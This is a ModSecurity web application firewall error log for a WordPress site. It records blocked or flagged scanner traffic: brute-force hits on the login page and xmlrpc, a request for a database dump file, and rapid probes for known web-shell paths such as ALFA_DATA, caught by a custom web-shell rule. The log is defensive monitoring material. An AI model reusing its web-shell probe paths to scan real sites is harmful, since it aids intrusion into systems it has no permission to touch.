[Sat May 23 00:46:03.704504 2026] [:error] [pid 15583:tid 15588] [client 165.22.112.133:54455] [client 165.22.112.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.112.133, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ahCIS3naOncRcIm17YVg6QAAAAA"]
[Sat May 23 03:16:21.764790 2026] [:error] [pid 58813:tid 58822] [client 43.156.114.184:42658] [client 43.156.114.184] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahCrhZ6yyKWDKULhxJ3HOgAAAUY"]
[Sat May 23 04:19:32.160073 2026] [:error] [pid 31039:tid 31043] [client 170.106.192.208:50938] [client 170.106.192.208] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ahC6VKIYDYo8WvA5zLIzpAAAAMI"]
[Sat May 23 05:26:49.453898 2026] [:error] [pid 25876:tid 25895] [client 223.185.23.204:30801] [client 223.185.23.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.23.204, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahDKGQSpWUCKPezIBJBrgAAAARE"]
[Sat May 23 05:27:02.457232 2026] [:error] [pid 30940:tid 30961] [client 223.185.23.204:32732] [client 223.185.23.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.23.204, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahDKJpqUP2XZmzp7RDpzwQAAAAw"]
[Sat May 23 05:27:16.323719 2026] [:error] [pid 30941:tid 30991] [client 223.185.23.204:8842] [client 223.185.23.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.23.204, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahDKNHTIgjSDhiZmvlUYRgAAAE8"]
[Sat May 23 05:27:29.826089 2026] [:error] [pid 25876:tid 25885] [client 223.185.23.204:31265] [client 223.185.23.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.23.204, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahDKQQSpWUCKPezIBJBrpgAAAQc"]
[Sat May 23 05:27:43.975754 2026] [:error] [pid 25876:tid 25883] [client 223.185.23.204:4065] [client 223.185.23.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.23.204, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahDKTwSpWUCKPezIBJBrxAAAAQU"]
[Sat May 23 10:00:49.640681 2026] [:error] [pid 31039:tid 31042] [client 143.110.218.162:54455] [client 143.110.218.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.110.218.162, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ahEKUaIYDYo8WvA5zLKeSwAAAME"]
[Sat May 23 10:09:03.577512 2026] [:error] [pid 30941:tid 30986] [client 143.110.218.162:62234] [client 143.110.218.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.110.218.162, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ahEMP3TIgjSDhiZmvlVKugAAAEo"]
[Sat May 23 10:16:46.514151 2026] [:error] [pid 30940:tid 30972] [client 143.110.218.162:49612] [client 143.110.218.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.110.218.162, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ahEODpqUP2XZmzp7RDqilgAAABc"]
[Sat May 23 10:24:46.136469 2026] [:error] [pid 30940:tid 30950] [client 143.110.218.162:51933] [client 143.110.218.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.110.218.162, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ahEP7pqUP2XZmzp7RDqj5QAAAAE"]
[Sat May 23 10:32:28.595800 2026] [:error] [pid 30940:tid 30971] [client 143.110.218.162:58768] [client 143.110.218.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.110.218.162, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ahERvJqUP2XZmzp7RDqlWgAAABY"]
[Sat May 23 11:11:09.819098 2026] [:error] [pid 31039:tid 31052] [client 43.157.147.3:55696] [client 43.157.147.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahEazaIYDYo8WvA5zLK0NgAAAMs"]
[Sat May 23 11:53:22.013410 2026] [:error] [pid 30942:tid 31023] [client 162.62.213.187:58036] [client 162.62.213.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ahEkstUosz64YFiBlG0JOgAAAJQ"]
[Sat May 23 12:54:41.594229 2026] [:error] [pid 31039:tid 31062] [client 183.83.55.188:14434] [client 183.83.55.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.83.55.188, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahEzEaIYDYo8WvA5zLLTWAAAANU"]
[Sat May 23 12:54:51.820662 2026] [:error] [pid 31039:tid 31044] [client 183.83.55.188:14576] [client 183.83.55.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.83.55.188, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahEzG6IYDYo8WvA5zLLTdAAAAMM"]
[Sat May 23 12:55:06.274519 2026] [:error] [pid 31039:tid 31047] [client 183.83.55.188:13544] [client 183.83.55.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.83.55.188, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahEzKqIYDYo8WvA5zLLTiQAAAMY"]
[Sat May 23 12:55:16.883846 2026] [:error] [pid 25876:tid 25885] [client 183.83.55.188:14408] [client 183.83.55.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.83.55.188, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahEzNASpWUCKPezIBJAZ0gAAAQc"]
[Sat May 23 12:55:27.424539 2026] [:error] [pid 30940:tid 30953] [client 183.83.55.188:14345] [client 183.83.55.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.83.55.188, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahEzP5qUP2XZmzp7RDrBUgAAAAQ"]
[Sat May 23 13:07:32.710712 2026] [:error] [pid 25876:tid 25889] [client 193.189.100.200:52607] [client 193.189.100.200] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/dump.sql"] [unique_id "ahE2FASpWUCKPezIBJAdswAAAQs"], referer: rcacivilgroup.com/dump.sql
[Sat May 23 17:39:01.085092 2026] [:error] [pid 31039:tid 31060] [client 43.157.156.190:57330] [client 43.157.156.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ahF1taIYDYo8WvA5zLIvUAAAANM"]
[Sat May 23 20:31:01.724631 2026] [:error] [pid 44326:tid 44379] [client 1.15.52.154:50330] [client 1.15.52.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahGeBcyrPrcAqE-FOKKargAAAdg"]
[Sat May 23 20:48:55.686499 2026] [:error] [pid 44325:tid 44346] [client 4.213.99.137:1169] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about/chosen.php"] [unique_id "ahGiN1gUQb4puB_2yV8k-AAAAZI"]
[Sat May 23 20:48:55.984484 2026] [:error] [pid 44326:tid 44362] [client 4.213.99.137:2031] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about/chosen.php"] [unique_id "ahGiN8yrPrcAqE-FOKKfJAAAAcc"]
[Sat May 23 20:48:56.274268 2026] [:error] [pid 44326:tid 44355] [client 4.213.99.137:2001] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about/chosen.php"] [unique_id "ahGiOMyrPrcAqE-FOKKfJQAAAcA"]
[Sat May 23 20:48:56.545466 2026] [:error] [pid 44326:tid 44371] [client 4.213.99.137:1174] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about/chosen.php"] [unique_id "ahGiOMyrPrcAqE-FOKKfJwAAAdA"]
[Sat May 23 20:48:56.815298 2026] [:error] [pid 30941:tid 30999] [client 4.213.99.137:1168] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as/chosen.php"] [unique_id "ahGiOHTIgjSDhiZmvlXtbQAAAFc"]
[Sat May 23 20:48:57.094114 2026] [:error] [pid 31039:tid 31053] [client 4.213.99.137:1206] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as/chosen.php"] [unique_id "ahGiOaIYDYo8WvA5zLJFkQAAAMw"]
[Sat May 23 20:48:57.378002 2026] [:error] [pid 31039:tid 31042] [client 4.213.99.137:2009] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as/chosen.php"] [unique_id "ahGiOaIYDYo8WvA5zLJFkwAAAME"]
[Sat May 23 20:48:57.667178 2026] [:error] [pid 31039:tid 31061] [client 4.213.99.137:1994] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as/chosen.php"] [unique_id "ahGiOaIYDYo8WvA5zLJFlAAAANQ"]
[Sat May 23 20:48:57.952341 2026] [:error] [pid 44325:tid 44336] [client 4.213.99.137:2014] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/init.php"] [unique_id "ahGiOVgUQb4puB_2yV8lAAAAAYg"]
[Sat May 23 20:48:58.228496 2026] [:error] [pid 31039:tid 31041] [client 4.213.99.137:1171] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/init.php"] [unique_id "ahGiOqIYDYo8WvA5zLJFlgAAAMA"]
[Sat May 23 20:48:58.533264 2026] [:error] [pid 25876:tid 25880] [client 4.213.99.137:1173] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/init.php"] [unique_id "ahGiOgSpWUCKPezIBJCtaAAAAQI"]
[Sat May 23 20:48:58.834499 2026] [:error] [pid 30941:tid 30991] [client 4.213.99.137:2017] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/init.php"] [unique_id "ahGiOnTIgjSDhiZmvlXtbwAAAE8"]
[Sat May 23 20:48:59.121398 2026] [:error] [pid 44325:tid 44337] [client 4.213.99.137:2032] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file/chosen.php"] [unique_id "ahGiO1gUQb4puB_2yV8lAgAAAYk"]
[Sat May 23 20:48:59.391165 2026] [:error] [pid 44296:tid 44299] [client 4.213.99.137:1998] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file/chosen.php"] [unique_id "ahGiO5drUdFI6ijvMkmLywAAAUE"]
[Sat May 23 20:48:59.661404 2026] [:error] [pid 30942:tid 31021] [client 4.213.99.137:1373] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file/chosen.php"] [unique_id "ahGiO9Uosz64YFiBlG11PAAAAJI"]
[Sat May 23 20:48:59.936267 2026] [:error] [pid 44325:tid 44331] [client 4.213.99.137:2015] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file/chosen.php"] [unique_id "ahGiO1gUQb4puB_2yV8lBAAAAYM"]
[Sat May 23 20:49:00.209967 2026] [:error] [pid 44325:tid 44343] [client 4.213.99.137:2018] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen/chosen.php"] [unique_id "ahGiPFgUQb4puB_2yV8lBQAAAY8"]
[Sat May 23 20:49:00.529633 2026] [:error] [pid 44326:tid 44375] [client 4.213.99.137:2027] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen/chosen.php"] [unique_id "ahGiPMyrPrcAqE-FOKKfKQAAAdQ"]
[Sat May 23 20:49:00.807099 2026] [:error] [pid 44325:tid 44330] [client 4.213.99.137:1999] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen/chosen.php"] [unique_id "ahGiPFgUQb4puB_2yV8lCAAAAYI"]
[Sat May 23 20:49:01.082829 2026] [:error] [pid 30940:tid 30958] [client 4.213.99.137:2041] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen/chosen.php"] [unique_id "ahGiPZqUP2XZmzp7RDoMggAAAAk"]
[Sat May 23 20:49:01.351707 2026] [:error] [pid 30940:tid 30956] [client 4.213.99.137:2037] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/chosen.php"] [unique_id "ahGiPZqUP2XZmzp7RDoMgwAAAAc"]
[Sat May 23 20:49:01.629422 2026] [:error] [pid 25876:tid 25902] [client 4.213.99.137:1155] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/chosen.php"] [unique_id "ahGiPQSpWUCKPezIBJCtagAAARg"]
[Sat May 23 20:49:01.936730 2026] [:error] [pid 31039:tid 31049] [client 4.213.99.137:2028] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/chosen.php"] [unique_id "ahGiPaIYDYo8WvA5zLJFmgAAAMg"]
[Sat May 23 20:49:02.219660 2026] [:error] [pid 31039:tid 31044] [client 4.213.99.137:2043] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/chosen.php"] [unique_id "ahGiPqIYDYo8WvA5zLJFmwAAAMM"]
[Sat May 23 20:49:02.499534 2026] [:error] [pid 30942:tid 31011] [client 4.213.99.137:2034] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "ahGiPtUosz64YFiBlG11PgAAAIg"]
[Sat May 23 20:49:02.777946 2026] [:error] [pid 25876:tid 25887] [client 4.213.99.137:2033] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "ahGiPgSpWUCKPezIBJCtawAAAQk"]
[Sat May 23 20:49:03.047879 2026] [:error] [pid 44326:tid 44372] [client 4.213.99.137:1157] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "ahGiP8yrPrcAqE-FOKKfLQAAAdE"]
[Sat May 23 20:49:03.346214 2026] [:error] [pid 44326:tid 44374] [client 4.213.99.137:2003] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "ahGiP8yrPrcAqE-FOKKfLgAAAdM"]
[Sat May 23 20:49:03.624011 2026] [:error] [pid 44325:tid 44350] [client 4.213.99.137:1984] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "ahGiP1gUQb4puB_2yV8lDQAAAZY"]
[Sat May 23 20:49:03.921102 2026] [:error] [pid 31039:tid 31062] [client 4.213.99.137:1986] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "ahGiP6IYDYo8WvA5zLJFngAAANU"]
[Sat May 23 20:49:04.208570 2026] [:error] [pid 30940:tid 30973] [client 4.213.99.137:2035] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "ahGiQJqUP2XZmzp7RDoMhQAAABg"]
